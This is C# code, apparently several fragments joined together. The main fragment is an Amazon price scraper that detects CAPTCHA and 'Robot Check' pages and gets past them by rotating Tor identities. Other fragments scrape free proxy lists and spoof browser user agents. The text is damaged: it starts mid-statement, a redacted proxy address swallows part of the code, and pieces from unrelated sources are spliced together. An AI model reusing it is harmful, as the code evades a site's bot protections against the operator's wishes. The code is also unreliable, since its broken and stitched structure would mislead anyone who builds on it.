dir=\"ltr\">(Amazon CAPTCHA|Bot Check|Robot Check)</title>"); if (captchadetection.Success) { Debug.WriteLine("Captcha detected..."); if (Settings.Get <bool>("UseTorProxies")) { await torProxy.GetNewIdentityAsync(); mf.metroLabel45.Text = Convert.ToString(await WebUtils.GetCurrentIpAddressAsync(torSettings)); Proxies.TorProxyActive = true; if (!Settings.Get <bool>("ProxyAlwaysActive") && Proxies.RealIPnexttime < DateTime.Now) { Proxies.RealIPnexttime = DateTime.Now.AddMinutes(15); } } continue; } //How many Sites? Match sitesNumber = Regex.Match(sourcecode, "<a name=\"New\">([^\"]*) / ([^\"]*)</a>"); if (sitesNumber.Success && loops == 0 && Settings.Get <int>("ScanMethod") == 0) { sites = Convert.ToInt32( Math.Ceiling(Convert.ToDecimal(sitesNumber.Groups[2].Value) / 10)); } mf.metroLabel41.Text = $@"{loops + 1} / {sites} (NEU)"; //Get Price for NEW if (sellerForNew.Contains("Amazon")) { Match newama = Regex.Match(sourcecode, "<a href=(.*)ca=([a-zA-Z0-9_]*)&vs=1(.*)>(Neu|Nuovo|Neuf|Nuevo|New) - (EUR |£)(.*)</a>"); if (newama.Success) { priceNewList.Add(await CurrencyConverter.ConvertToEuro(newama.Groups[6].Value, Convert.ToString(entry["Store"]))); } } if (sellerForNew.Contains("Drittanbieter")) { if (sellerForNew.Contains("Versand per Amazon")) { Regex new3rd = new Regex( "(Versand durch Amazon.de|Spedito da Amazon|EXPÉDIÉ PAR AMAZON|Distribuido por Amazon|Fulfilled by Amazon)(\r\n|\r|\n)</font>(\r\n|\r|\n)(\r\n|\r|\n)<br />(\r\n|\r|\n)(\r\n|\r|\n)(\r\n|\r|\n)" + "<a href=(.*)ca=([a-zA-Z0-9_]*)&eid=(.*)>(Neu|Nuovo|Neuf|Nuevo|New) - (EUR |£)(.*)</a>", RegexOptions.Compiled); foreach (Match itemMatch in new3rd.Matches(sourcecode)) { priceNewList.Add( await CurrencyConverter.ConvertToEuro(itemMatch.Groups[13].Value, Convert.ToString(entry["Store"]))); } } else { Regex new3rd = new Regex( @"<a href=(.*)ca=([a-zA-Z0-9_]*)&eid=(.*)>(Neu|Nuovo|Neuf|Nuevo|New) - (EUR |£)(.*)</a>", RegexOptions.Compiled); foreach (Match itemMatch in new3rd.Matches(sourcecode)) { priceNewList.Add( await CurrencyConverter.ConvertToEuro(itemMatch.Groups[6].Value, Convert.ToString(entry["Store"]))); } } } loops++; if (sites > loops) { await Task.Delay( Tools.RandomNumber(Convert.ToInt32(mf.numericUpDown3.Value) * 1000 - 500, Convert.ToInt32(mf.numericUpDown3.Value) * 1000 + 500), cancelToken) .ContinueWith(tsk => { }); } } while (sites > loops); RemoveInvalidEntrys(priceNewList); priceNew = priceNewList.OrderBy(price => price).FirstOrDefault(); if (!String.IsNullOrEmpty(priceNew)) { mf.metroLabel24.Text = priceNew; ComparePrice(entry["Preis: Neu"], priceNew, mf.metroLabel24); } } await Task.Delay(Tools.RandomNumber(500, 1000), cancelToken).ContinueWith(tsk => { }); string priceLikeNew = null; string priceVeryGood = null; string priceGood = null; string priceAcceptable = null; if (Settings.Get <bool>("ScanUsed")) { List <string> priceLikeNewList = new List <string>(); List <string> priceVeryGoodList = new List <string>(); List <string> priceGoodList = new List <string>(); List <string> priceAcceptableList = new List <string>(); mf.tabControl2.SelectedTab = mf.TabPage5; var conditionList = new List <Tuple <List <string>, string> > { new Tuple <List <string>, string>(priceLikeNewList, "Wie neu|Condizioni pari al nuovo|Comme neuf|Como nuevo|Mint"), new Tuple <List <string>, string>(priceVeryGoodList, "Sehr gut|Ottimo|Très bon état|Muy bueno|Very good"), new Tuple <List <string>, string>(priceGoodList, "Gut|Buono|D'occasion - très bon état|Bueno|Good"), new Tuple <List <string>, string>(priceAcceptableList, "Akzeptabel|Accettabile|Acceptable|Aceptable|Acceptable") }; sites = 1; loops = 0; do { if (cancelToken.IsCancellationRequested) { Timer.Stop(); torProxy.Stop(); return; } try { string url = "https://www.amazon." + Amazon.GetTld(Convert.ToString(entry["Store"])) + "/gp/aw/ol/" + entry["ASIN / ISBN"] + "/ref=mw_dp_olp?o=Used&op=" + (loops + 1); var handler = new HttpClientHandler(); if (Settings.Get <bool>("UseTorProxies")) { if (Settings.IsPremium && Settings.Get <bool>("ProxyAlwaysActive") || Proxies.TorProxyActive && Proxies.RealIPnexttime > DateTime.Now) { Debug.WriteLine("Add TOR Proxy to HttpClientHandler..."); handler.Proxy = new WebProxy(new Uri("http://*****:*****@"<title> (Tut uns Leid!|Toutes nos excuses)</title>"); Match errordetection1 = Regex.Match(sourcecode.RemoveLineEndings(), @"<title>(503 - Service Unavailable Error)</title>"); if (errordetection.Success || errordetection1.Success) { Debug.WriteLine("Issue Found..."); continue; } //CAPTCHA Detection Match captchadetection = Regex.Match(sourcecode, "<title dir=\"ltr\">(Amazon CAPTCHA|Bot Check|Robot Check)</title>"); if (captchadetection.Success) { Debug.WriteLine("Captcha detected..."); if (Settings.Get <bool>("UseTorProxies")) { await torProxy.GetNewIdentityAsync(); mf.metroLabel45.Text = Convert.ToString(await WebUtils.GetCurrentIpAddressAsync(torSettings)); Proxies.TorProxyActive = true; if (!Settings.Get <bool>("ProxyAlwaysActive") && Proxies.RealIPnexttime < DateTime.Now) { Proxies.RealIPnexttime = DateTime.Now.AddMinutes(15); } } continue; } //How many WHD Sites? Match sitesNumber = Regex.Match(sourcecode, "<a name=\"Used\">([^\"]*) / ([^\"]*)</a>"); if (sitesNumber.Success && loops == 0 && Settings.Get <int>("ScanMethod") == 0) { sites = Convert.ToInt32(Math.Ceiling(Convert.ToDecimal(sitesNumber.Groups[2].Value) / 10)); } mf.metroLabel41.Text = $@"{loops + 1} / {sites} (GEBRAUCHT)"; //Get Price for WHDs //.de WHD Seller ID: A8KICS1PHF7ZO //.it WHD Seller ID: A1HO9729ND375Y //.fr WHD Seller ID: A2CVHYRTWLQO9T //.es WHD Seller ID: A6T89FGPU3U0Q //.co.uk WHD Seller ID: A2OAJ7377F756P if (sellerForUsed.Contains("Amazon")) { foreach (var condition in conditionList) { Regex search = new Regex( @"<a href=(.*)(A8KICS1PHF7ZO|A1HO9729ND375Y|A2CVHYRTWLQO9T|A6T89FGPU3U0Q|A2OAJ7377F756P)(.*)>(" + condition.Item2 + ") - (EUR |£)(.*)</a>", RegexOptions.Compiled); foreach (Match itemMatch in search.Matches(sourcecode)) { condition.Item1.Add(await CurrencyConverter.ConvertToEuro(itemMatch.Groups[6].Value, Convert.ToString(entry["Store"]))); } } } if (sellerForUsed.Contains("Drittanbieter")) { if (sellerForUsed.Contains("Versand per Amazon")) { foreach (var condition in conditionList) { Regex search = new Regex( "(Versand durch Amazon.de|Spedito da Amazon|EXPÉDIÉ PAR AMAZON|Distribuido por Amazon|Fulfilled by Amazon)(\r\n|\r|\n)</font>(\r\n|\r|\n)(\r\n|\r|\n)<br />(\r\n|\r|\n)(\r\n|\r|\n)(\r\n|\r|\n)" + "<a href=(.*)&me=(?!(A8KICS1PHF7ZO|A1HO9729ND375Y|A2CVHYRTWLQO9T|A6T89FGPU3U0Q|A2OAJ7377F756P).)(.*)>(" + condition.Item2 + ") - (EUR |£)(.*)</a>", RegexOptions.Compiled); foreach (Match itemMatch in search.Matches(sourcecode)) { condition.Item1.Add(await CurrencyConverter.ConvertToEuro(itemMatch.Groups[13].Value, Convert.ToString(entry["Store"]))); } } } else { foreach (var condition in conditionList) { Regex search = new Regex( @"<a href=(.*)&me=(?!(A8KICS1PHF7ZO|A1HO9729ND375Y|A2CVHYRTWLQO9T|A6T89FGPU3U0Q|A2OAJ7377F756P).)(.*)>(" + condition.Item2 + ") - (EUR |£)(.*)</a>", RegexOptions.Compiled); foreach (Match itemMatch in search.Matches(sourcecode)) { condition.Item1.Add(await CurrencyConverter.ConvertToEuro(itemMatch.Groups[6].Value, Convert.ToString(entry["Store"]))); } } } } loops++; if (sites > loops) { await Task.Delay(Tools.RandomNumber(Convert.ToInt32(mf.numericUpDown3.Value) * 1000 - 500, Convert.ToInt32(mf.numericUpDown3.Value) * 1000 + 500), cancelToken).ContinueWith(tsk => { }); } } while (sites > loops); foreach (var condition in conditionList) { RemoveInvalidEntrys(condition.Item1); } priceLikeNew = priceLikeNewList.OrderBy(price => price).FirstOrDefault(); if (!String.IsNullOrEmpty(priceLikeNew)) { mf.metroLabel25.Text = priceLikeNew; ComparePrice(entry["Preis: Wie Neu"], priceLikeNew, mf.metroLabel25); } priceVeryGood = priceVeryGoodList.OrderBy(price => price).FirstOrDefault(); if (!String.IsNullOrEmpty(priceVeryGood)) { mf.metroLabel26.Text = priceVeryGood; ComparePrice(entry["Preis: Sehr Gut"], priceVeryGood, mf.metroLabel26); } priceGood = priceGoodList.OrderBy(price => price).FirstOrDefault(); if (!String.IsNullOrEmpty(priceGood)) { mf.metroLabel27.Text = priceGood; ComparePrice(entry["Preis: Gut"], priceGood, mf.metroLabel27); } priceAcceptable = priceAcceptableList.OrderBy(price => price).FirstOrDefault(); if (!String.IsNullOrEmpty(priceAcceptable)) { mf.metroLabel28.Text = priceAcceptable; ComparePrice(entry["Preis: Akzeptabel"], priceAcceptable, mf.metroLabel28); } } await Task.Delay(Tools.RandomNumber(500, 1000), cancelToken).ContinueWith(tsk => { }); Database.OpenConnection(); SQLiteCommand updateEntry = new SQLiteCommand( "UPDATE Products SET [Preis: Neu] = @priceNew, [Preis: Wie Neu] = @priceLikenew, [Preis: Sehr Gut] = @priceVerygood, [Preis: Gut] = @priceGood, [Preis: Akzeptabel] = @priceAcceptable, [Letzter Check] = @lastcheck WHERE ID = @id", Database.Connection); updateEntry.Parameters.AddWithValue("@id", entry["ID"]); updateEntry.Parameters.AddWithValue("@priceNew", !String.IsNullOrEmpty(priceNew) ? priceNew : null); updateEntry.Parameters.AddWithValue("@priceLikenew", !String.IsNullOrEmpty(priceLikeNew) ? priceLikeNew : null); updateEntry.Parameters.AddWithValue("@priceVerygood", !String.IsNullOrEmpty(priceVeryGood) ? priceVeryGood : null); updateEntry.Parameters.AddWithValue("@priceGood", !String.IsNullOrEmpty(priceGood) ? priceGood : null); updateEntry.Parameters.AddWithValue("@priceAcceptable", !String.IsNullOrEmpty(priceAcceptable) ? priceAcceptable : null); updateEntry.Parameters.AddWithValue("@lastcheck", DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss")); updateEntry.ExecuteNonQuery(); await Task.Delay(250, cancelToken).ContinueWith(tsk => { }); if (mf.metroComboBox2.SelectedIndex == -1 || mf.metroComboBox2.Text == "ALLE" || store == mf.metroComboBox2.Text) { ProductDatabase.Display(mf.metroComboBox2.SelectedIndex == -1 ? "ALLE" : mf.metroComboBox2.Text); } await MyReminder.DoRemindWhenPossible(Convert.ToString(entry["ID"])); _randomWait = Tools.RandomNumber(Convert.ToInt32(mf.numericUpDown2.Value) - 1, Convert.ToInt32(mf.numericUpDown2.Value) + 1); mf.metroProgressBar1.Value = 0; mf.metroProgressBar1.Maximum = _randomWait * 1000; Timer.Start(); mf.metroLabel29.Text = _dt.AddSeconds(_randomWait).ToString("mm:ss"); await Task.Delay((_randomWait + 1) * 1000, cancelToken).ContinueWith(tsk => { }); } } }
/// <summary> /// /// </summary> /// <param name="site"></param> /// <param name="webProxy"></param> /// <param name="userAgent"></param> /// <param name="ignoreCookies"></param> /// <param name="useDefaultCookiesParser"></param> /// <param name="redirectedUrl"></param> /// <param name="headers"></param> /// <returns></returns> public static string GetPageDocument(Uri site, ref string redirectedUrl, IWebProxy webProxy = null, FakeUserAgent userAgent = null, bool?ignoreCookies = true, bool?useDefaultCookiesParser = false, params KeyValuePair <string, string>[] headers) { if (userAgent == null) { userAgent = UserAgents.GetFakeUserAgent(UserAgents.Mozilla22); } try { ScrapingBrowser browser = null; if (webProxy != null) { browser = new ScrapingBrowser() { UserAgent = userAgent, Proxy = webProxy, }; } else { Dictionary <string, string> hdrs = null; if (headers != null && headers.Any()) { hdrs = new Dictionary <string, string>(); headers.ToList().ForEach(h => { hdrs.Add(h.Key, h.Value); }); } browser = new ScrapingBrowser { UserAgent = userAgent, //KeepAlive = true, }; } browser.IgnoreCookies = ignoreCookies.GetValueOrDefault(); browser.AllowMetaRedirect = true; browser.Timeout = new TimeSpan(0, 0, 30); //useDefaultCookiesParser.GetValueOrDefault(); var html = browser.DownloadString(site); redirectedUrl = browser.Referer.AbsoluteUri; return(html); } catch (WebException webEx) { //var extraDataOnError = string.Empty; //if (webEx.Response != null) //{ // var stream = webEx.Response.GetResponseStream(); // if (stream != null) // using (var sr = new StreamReader(stream)) // extraDataOnError = sr.ReadToEnd(); //} // Now you can access webEx.Response object that contains more info on the server response if (webEx.Status != WebExceptionStatus.ProtocolError) { throw; } var response = ((HttpWebResponse)webEx.Response); if (response == null) { return(string.Empty); } var error = $"Error occurred: {response.StatusCode}"; if (webEx.InnerException == null) { error += $"; Description : {response.StatusDescription}"; } else { error += $"; Description : {response.StatusDescription}; {webEx.InnerException.Message}"; } throw new WebException(error, webEx.InnerException); } catch (AggregateException aEx) { var sErr = string.Empty; aEx.Handle((x) => { if (x is UnauthorizedAccessException) // This we know how to handle. { //do your code here } else { sErr += x.Message; } return(true); //if you do something like this all exceptions are marked as handled }); throw new Exception(sErr); } catch (Exception ex) { throw new Exception(ex.Message); } }
/// <summary> /// FreeIPGeneratorException /// </summary> private void RunProxyProviderThread() { lock (_proxyProviderLocker) { var hmaPgIdx = 1; var pgEnding = false; //this.RotationId = Guid.NewGuid(); do { if (_reachedLastPage | _reset) { hmaPgIdx = 1; pgEnding = false; _reset = false; } while (!pgEnding && !_stopExtraction) { if (_resume) { if (hmaPgIdx == 1 && OnBeginningOfProxyListPage != null) { OnBeginningOfProxyListPage(this, new EventArgs()); } var hmaProxListUrl = string.Format(HMAProxListUrl, hmaPgIdx); try { var fPxy = GetFreeProxy(true); var hmaPgDoc = (fPxy != null) ? HtmlUtil.GetPageDocument(new Uri(hmaProxListUrl), fPxy.ToWebProxy(), UserAgents.GetFakeUserAgent(UserAgents.Chrome41022280)) : HtmlUtil.GetPageDocument(hmaProxListUrl, UserAgents.GetFakeUserAgent(UserAgents.Chrome41022280)); hmaPgDoc = hmaPgDoc.Replace(Environment.NewLine, ""); var start = hmaPgDoc.IndexOf("<table id=\"listtable\"", StringComparison.Ordinal); var end = hmaPgDoc.IndexOf("<div id=\"pagination\">", StringComparison.Ordinal); hmaPgDoc = hmaPgDoc.Substring(start, end - start); var results = ExtractProxies(hmaPgDoc); if (_reachedLastPage) { hmaPgIdx = 1; } else { hmaPgIdx++; } if (results == 1 | _reachedLastPage) { hmaPgIdx = hmaPgIdx--; // go back one page in index pgEnding = true; _reachedLastPage = true; if (OnEndOfProxyListPage != null && !_reachedLastPage) { OnEndOfProxyListPage(this, new EventArgs()); } } } catch (Exception ex) { var errMsgPrefx = string.Format("Error@{0}/pgIdx:[{1}]/errmsg:[{2}]", "RunIPProviderThread", hmaPgIdx, ex.Message); var exception = new Exception(errMsgPrefx, ex); InvokeEventFreeIPGeneratorException(new EventHandlers.FreeIPGeneratorExceptionEventArgs(exception)); } } Thread.Sleep(1000 * 10); } Thread.Sleep(10); }while (true); } }
public static String CreateUserAgent(BrowserType type) { return(UserAgents.TryGetValue(type, out IList <String> agents) ? agents.GetRandom() : OtherUserAgent); }